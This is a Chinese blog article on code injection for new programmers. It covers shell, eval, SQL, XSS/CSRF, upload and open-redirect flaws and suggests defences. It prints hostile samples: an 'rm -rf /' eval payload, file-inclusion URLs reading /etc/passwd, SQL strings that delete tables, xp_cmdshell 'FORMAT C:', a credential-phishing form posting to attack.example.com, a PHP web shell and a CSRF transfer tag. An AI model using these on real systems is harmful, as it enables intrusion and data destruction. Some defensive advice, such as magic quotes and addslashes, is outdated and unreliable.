程序員疫苗:代碼注入
幾個月在我的微博上說過要建一個程 序員疫苗網(wǎng)站,希望大家一起來提交一些錯誤示例的代碼,來幫助我們新入行的程序員,不要讓我們的程序員一代又一代的再重復地犯一些錯誤。很多程序上錯誤就 像人類世界的病毒一樣,我們應(yīng)該給我們的新入行的程序員注射一些疫苗,就像給新生兒打疫苗一樣,希望程序員從入行時就對這些錯誤有抵抗力。
我的那個疫苗網(wǎng)站正在建議中(不好意思拖了很久),不過,我可以先寫一些關(guān)于程序員疫苗性質(zhì)的文章,也算是熱熱身。希望大家喜歡,先向大家介紹第一注疫苗——代碼注入。
Shell注入
我們先來看一段perl的代碼:
- use CGI qw(:standard);
- $name = param('name');
- $nslookup = "/path/to/nslookup";
- print header;
- if (open($fh, "$nslookup $name|")) {
- while (<$fh>) {
- print escapeHTML($_);
- print "<br>\n";
- }
- close($fh);
- }
如果用戶輸入的參數(shù)是:
- coolshell.cn%20%3B%20/bin/ls%20-l
那么,這段perl的程序就成了:
- /path/to/nslookup coolshell.cn ; /bin/ls -l
我們再來看一段PHP的程序:
- $myvar = 'somevalue';
- $x = $_GET['arg'];
- eval('$myvar = ' . $x . ';');
“eval
“的參數(shù)將會視同PHP處理,所以額外的命令可被添加。例如:如果”arg”如果被設(shè)成”10; system('rm -rf /')
“,后面的”system('rm -rf /')
“代碼將被運行,這等同在服務(wù)器上運行開發(fā)者意料外的程序。(關(guān)于rm -rf /,你懂的,可參看“一個空格引發(fā)的悲劇”)
再來看一個PHP的代碼
- $isadmin= false;
- ...
- ...
- foreach ($_GET as $key => $value) {
- $$key = $value;
- }
如果攻擊者在查詢字符串中給定”isadmin=1″,那$isadmin將會被設(shè)為值 “1″,然后攻擊值就取得了網(wǎng)站應(yīng)用的admin權(quán)限了。
再來看一個PHP的示例:
- $action = 'login';
- if (__isset( $_GET['act'] ) )
- $action = $_GET['act'];
- require( $action . '.php' );
這個代碼相當危險,攻擊者有可能可以干這些事:
/test.php?act=http://evil/exploit
- 注入遠程機器上有漏洞的文件。/test.php?act=/home/www/bbs/upload/exploit
- 從一個已經(jīng)上載、叫做exploit.php文件運行其代碼。/test.php?act=../../../../etc/passwd%00
- 讓攻擊者取得該UNIX系統(tǒng)目錄檢索下密碼文件的內(nèi)容。一個使用空元字符以解除.php
擴展名限制,允許訪問其他非 .php 結(jié)尾文件。 (PHP默認值”magic_quotes_gpc = On”可以終止這種攻擊)
這樣的示例有很多,只要你的程序有諸如:system()
、StartProcess()
、java.lang.Runtime.exec()
、System.Diagnostics.Process.Start()
以及類似的應(yīng)用程序接口,都是比較危險的,最好不要讓其中的字符串去拼裝用戶的輸入。
PHP提供escapeshellarg()
和escapeshellcmd()
以在調(diào)用方法以前進行編碼。然而,實際上并不建議相信這些方法是安全的 。
SQL注入
SQL injection,是發(fā)生于應(yīng)用程序之數(shù)據(jù)庫層的安全漏洞。簡而言之,是在輸入的字符串之中注入SQL指令,在設(shè)計不良的程序當中忽略了檢查,那么這些注入進去的指令就會被數(shù)據(jù)庫服務(wù)器誤認為是正常的SQL指令而運行,因此遭到破壞。
在應(yīng)用程序中若有下列狀況,則可能應(yīng)用程序正暴露在SQL Injection的高風險情況下:
- 在應(yīng)用程序中使用字符串聯(lián)結(jié)方式組合SQL指令(如:引號沒有轉(zhuǎn)義)。
- 在應(yīng)用程序鏈接數(shù)據(jù)庫時使用權(quán)限過大的帳戶(如:很多開發(fā)人員都喜歡用sa(最高權(quán)限的系統(tǒng)管理員帳戶)連接Microsoft SQL Server數(shù)據(jù)庫)。
- 在數(shù)據(jù)庫中開放了不必要但權(quán)力過大的功能(例如在Microsoft SQL Server數(shù)據(jù)庫中的xp_cmdshell延伸預(yù)存程序或是OLE Automation預(yù)存程序等)
- 過于信任用戶所輸入的數(shù)據(jù),未限制輸入的字符數(shù),以及未對用戶輸入的數(shù)據(jù)做潛在指令的檢查。
例程:
某個網(wǎng)站的登錄驗證的SQL查詢代碼為
- strSQL = "SELECT * FROM users
- WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
用戶在登錄時惡意輸入如下的的用戶名和口令:
- userName = "' OR '1'='1";
- passWord = "' OR '1'='1";
也就是實際上運行的SQL命令會變成下面這樣的,因此導致無帳號密碼,也可登錄網(wǎng)站。
- strSQL = "SELECT * FROM users;"
這還不算惡劣的,真正惡劣的是在你的語句后再加一個自己的語句,如:
- username= "' ; DELETE FROM users; --";
這樣一來,要么整個數(shù)據(jù)庫的表被人盜走,要么被數(shù)據(jù)庫被刪除。
所以SQL注入攻擊被俗稱為黑客的填空游戲。你是否還記得酷殼這篇文章里的SQL注入?
#p#
當他們發(fā)現(xiàn)一個網(wǎng)站有SQL注入的時候,他們一般會干下面的事:
- 盜取數(shù)據(jù)表中的數(shù)據(jù),例如個人機密數(shù)據(jù)(信用卡,身份證,手機號,通訊錄……),帳戶數(shù)據(jù),密碼等,獲得用戶的數(shù)據(jù)和信息后對這些用戶進行“社會工程學”活動(如:我前兩天在微信上親身經(jīng)歷)。
- 取得系統(tǒng)管理員權(quán)限(例如ALTER LOGIN sa WITH PASSWORD=’xxxxxx’)。
- 在數(shù)據(jù)庫中的數(shù)據(jù)中插入一些HTML/JS代碼,有可能得以在網(wǎng)頁加入惡意鏈接以及XSS,這樣一來就讓訪問者被黑。
- 經(jīng)由數(shù)據(jù)庫服務(wù)器提供的操作系統(tǒng)支持,讓黑客得以修改或控制操作系統(tǒng)(例如:MS SQL Server的 xp_cmdshell “net stop iisadmin”可停止服務(wù)器的IIS服務(wù))。甚至破壞硬盤數(shù)據(jù),癱瘓全系統(tǒng)(例如xp_cmdshell “FORMAT C:”)。
現(xiàn)在的黑客比較壞,癱瘓系統(tǒng)的事,他們干的越來越少,因為沒什么利益,他們希望通過獲取用戶的帳號信息后,轉(zhuǎn)而攻擊用戶別的帳號,如游戲帳號,網(wǎng)銀帳號,QQ帳號等等他們可以獲利的事情(這就是為什么我希望大家在不站點上使用不同的口令,甚至不同的用戶信息的原因)
如何避免
- 在組合SQL字符串時,先針對所傳入的參數(shù)作字符轉(zhuǎn)義(如:將單引號字符取代為連續(xù)2個單引號字符)。如果使用PHP開發(fā)網(wǎng)頁程序的話,亦可打開PHP的Magic quote功能自動將所有的網(wǎng)頁傳入?yún)?shù),將單引號字符取代為連續(xù)2個單引號字符。如果可能應(yīng)該過濾以下字符:分號“;”,兩個減號“–”,單引號“’”,注釋“/* … */”。(當然,因為注入攻擊一般用閉合的引號來玩,所以把引號轉(zhuǎn)義了應(yīng)該就沒有什么問題了)
- 更換危險字符。例如在PHP通過
addslashes()
函數(shù)保護SQL注入。 - 限制用戶輸入的長度,限制用戶輸入的取值范圍。
- 為當前應(yīng)用建立權(quán)限比較小的數(shù)據(jù)庫用戶,這樣不會導致數(shù)據(jù)庫管理員丟失。
- 把數(shù)據(jù)庫操作封裝成一個Service,對于敏感數(shù)據(jù),對于每個客戶端的IP,在一定時間內(nèi)每次只返回一條記錄。這樣可以避免被拖庫。
跨網(wǎng)站腳本注 入
跨網(wǎng)站腳本(Cross-site scripting,通常簡稱為XSS或跨站腳本或跨站腳本攻擊)是一種網(wǎng)站應(yīng)用程序的安全漏洞攻擊,是代碼注入的一種。它通過巧妙的方法注入惡意指令代 碼到網(wǎng)頁,使用戶加載并執(zhí)行攻擊者惡意制造的網(wǎng)頁程序。這些惡意網(wǎng)頁程序通常是JavaScript,但實際上也可以包括 Java, VBScript, ActiveX, Flash 或者甚至是普通的HTML。攻擊成功后,攻擊者可能得到包括但不限于更高的權(quán)限(如執(zhí)行 一些操作)、私密網(wǎng)頁內(nèi)容、會話和cookie等各種內(nèi)容。
假如我們有這樣一段PHP的代碼:
- $username = $_GET['username'];
- echo '<div> Welcome, ' . $username . '</div>';
么我們可以這樣來注入:
甚至這樣:
這會讓網(wǎng)頁顯示以下內(nèi)容:
- <div class="header"> Welcome,
- <div id="stealPassword">Please Login:
- <form name="input" action="attack.example.com/stealPassword.php" method="post">
- Username: <input type="text" name="username" />
- <br/>
- Password: <input type="password" name="password" />
- <input type="submit" value="Login" />
- </form>
- </div>
- </div>
注入的代碼還有可能變種為如下這種更為隱蔽的方式(unicode碼):
#p#
XSS的攻擊主要是通過一段JS程序得用用戶已登錄的cookie去模擬用戶的操作(甚至偷用戶的cookie)。這個方式可以讓用戶在自己不知情的情況下操作了自己不期望的操作。如果是網(wǎng)站的管理員中招,還有可能導致后臺管理權(quán)限被盜。關(guān)于其中的一些細節(jié)可以參看《新浪微博的XSS攻擊》一文。XSS攻擊是程序員有一糊涂就很容易犯的錯誤,你還可以看看網(wǎng)上的《騰訊微博的XSS攻擊》。
XSS攻擊在論壇的用戶簽檔里面(使用img標簽)也發(fā)生過很多次,包括像一些使用bcode的網(wǎng)站,很有可能會被注入一些可以被瀏覽器用來執(zhí)行的代碼。包括CSS都有可能被注入javascript代碼。
不要以為XSS攻擊是我們的程序沒有寫好,有時候,我們會引用別人站點上的js文件,比如:放一個天氣預(yù)報的小Widget的js,或是一個流量監(jiān)控,或是一段廣告的js文件。你不知道這些東西是不是有問題,如果有惡意的話,這就是你自己主動注入攻擊代碼了。
另外,XSS攻擊有一部分是和瀏覽器有關(guān)的。比如,如下的一些例子,你可能從來都沒有想過吧?(更多的例子可以參看酷殼很早以前的這篇文章《瀏覽器HTML安全列表》)
- <table background=”javascript:alert(1)”>
- <meta charset=”mac-farsi”>¼script¾alert(1)¼/script¾
- <img src=”javascript:alert(1)”>
XSS攻擊通常會引發(fā)CSRF攻擊。CSRF攻擊主要是通過在A站上設(shè)置B站點上的鏈接,通過使用用戶在B站點上的登錄且還沒有過期的 cookie,從而使得用戶的B站點被攻擊。(這得益于現(xiàn)在的多Tab頁的瀏覽器,大家都會同時打開并登錄很多的網(wǎng)站,而這些不同網(wǎng)站的頁面間的 cookie又是共享的)
于是,如果我在A站點內(nèi)的某個貼子內(nèi)注入這么一段代碼:
- <img src="http://bank.example.com/transfer?account=XXX&amount=1000000&for=haoel">
很有可能你就在訪問A站的這個貼子時,你的網(wǎng)銀可能向我轉(zhuǎn)了一些錢。
如何避免
要防止XSS攻擊,一般來說有下面幾種手段:
- 嚴格限制用戶的輸入。最好不要讓用戶輸入帶標簽的內(nèi)容。最好不要讓用戶使用一些所見即所得的HTML編輯器。
- 嚴格過濾用戶的輸入。如:
- PHP的
htmlentities()或是htmlspecialchars()或是strip_tags()
。 - Python的
cgi.escape()
- ASP的
Server.HTMLEncode()
。 - Node.js的node-validator。
- Java的xssprotect。
- PHP的
- 在一些關(guān)鍵功能,完全不能信任cookie,必需要用戶輸入口令。如:修改口令,支付,修改電子郵件,查看用戶的敏感信息等等。
- 限制cookie的過期時間。
- 對于CSRF攻擊,一是需要檢查http的reference header。二是不要使用GET方法來改變數(shù)據(jù),三是對于要提交的表單,后臺動態(tài)生成一個隨機的token,這個token是攻擊者很難偽造的。(對于token的生成,建議找一些成熟的lib庫)
另外,你可能覺得網(wǎng)站在處理用戶的表單提交就行了,其實不是,想一想那些Web Mail,我可以通過別的服務(wù)器向被攻擊用戶發(fā)送有JS代碼、圖片、Flash的郵件到你的郵箱,你打開一看,你就中招了。所以,WebMail一般都禁止顯示圖片和附件,這些都很危險,只有你完全了解來源的情況下才能打開。電子郵件的SMTP協(xié)議太差了,基本上無法校驗其它郵件服務(wù)器的可信度,我甚至可以自己建一個本機的郵件服務(wù)器,想用誰的郵件地址發(fā)信就用誰的郵件地址發(fā)信。所以,我再次真誠地告訴大家,請用gmail郵箱。別再跟我說什么QQMail之類的好用了。
#p#
上傳文件
上傳文件是一個很危險的功能,尤其是你如果不校驗上傳文件的類型的話,你可能會中很多很多的招,這種攻擊相當狠。試想,如果用戶上傳給你一個PHP、ASP、JSP的文件,當有人訪問這個文件時,你的服務(wù)器會解釋執(zhí)行之,這就相當于他可以在你的服務(wù)器上執(zhí)行一段程序。這無疑是相當危險的。
舉個例子:
- <form action="upload_picture.php" method="post" enctype="multipart/form-data">
- 要上傳的文件:
- <input type="file" name="filename"/>
- <br/>
- <input type="submit" name="submit" value="Submit"/>
- </form>
后臺上傳文件的PHP程序
- $target = "pictures/" . basename($_FILES['uploadedfile']['name']);
- if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target)){
- echo "圖片文件上傳成功";
- }else{</div>
- echo "圖片文件上傳失敗";
- }
假如我上傳了一個PHP文件如下:
文件名malicious.php
- <?php
- system($_GET['cmd']);
- ?>
那么,我就可以通過如下的URL訪問攻擊你的網(wǎng)站了:
- http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l
抵御這樣的攻擊有兩種手段:
1)限制上傳文件的文件擴展名。
2)千萬不要使用root或Administrator來運行你的Web應(yīng)用。
URL跳轉(zhuǎn)
URL跳轉(zhuǎn)很有可能會成為攻擊利用的工具。
比如下面的PHP代碼:
- $redirect_url = $_GET['url'];
- header("Location: " . $redirect_url);
這樣的代碼可能很常見,比如當用戶在訪問你的網(wǎng)站某個頁觀的時候沒有權(quán)限,于是你的網(wǎng)站跳轉(zhuǎn)到登錄頁面,當然登錄完成后又跳轉(zhuǎn)回剛才他訪問的那個頁面。一般來說,我們都會在跳轉(zhuǎn)到登錄頁面時在URL里加上要被跳轉(zhuǎn)過去的網(wǎng)頁。于是會出現(xiàn)上述那樣的代碼。
于是我們就可以通過下面的URL,跳轉(zhuǎn)到一個惡意網(wǎng)站上,而那個網(wǎng)站上可能有一段CSRF的代碼在等著你,或是一個釣魚網(wǎng)站。
- http://bank.example.com/redirect?url=http://attacker.example.net
這種攻擊具有的迷惑性在于,用戶看到的http://bank.example.com,以為是一個合法網(wǎng)站,于是就點了這個鏈接,結(jié)果通過這個合法網(wǎng)站,把用戶帶到了一個惡意網(wǎng)站,而這個惡意網(wǎng)站上可能把頁面做得跟這個合法網(wǎng)站一模一樣,你還以為訪問的是正確的地方,結(jié)果就被釣魚了。
解決這個問題很簡單,你需要在你的后臺判斷一下傳過來的URL的域名是不是你自己的域名。
你可以看看Google和Baidu搜索引擎的鏈接跳轉(zhuǎn),百度的跳轉(zhuǎn)鏈接是被加密過的,而Google的網(wǎng)站鏈接很長,里面有網(wǎng)站的明文,但是會有幾個加密過的參數(shù),如果你把那些參數(shù)移除掉,Google會顯示一個重定向的提醒頁面。(我個人覺得還是Google做得好)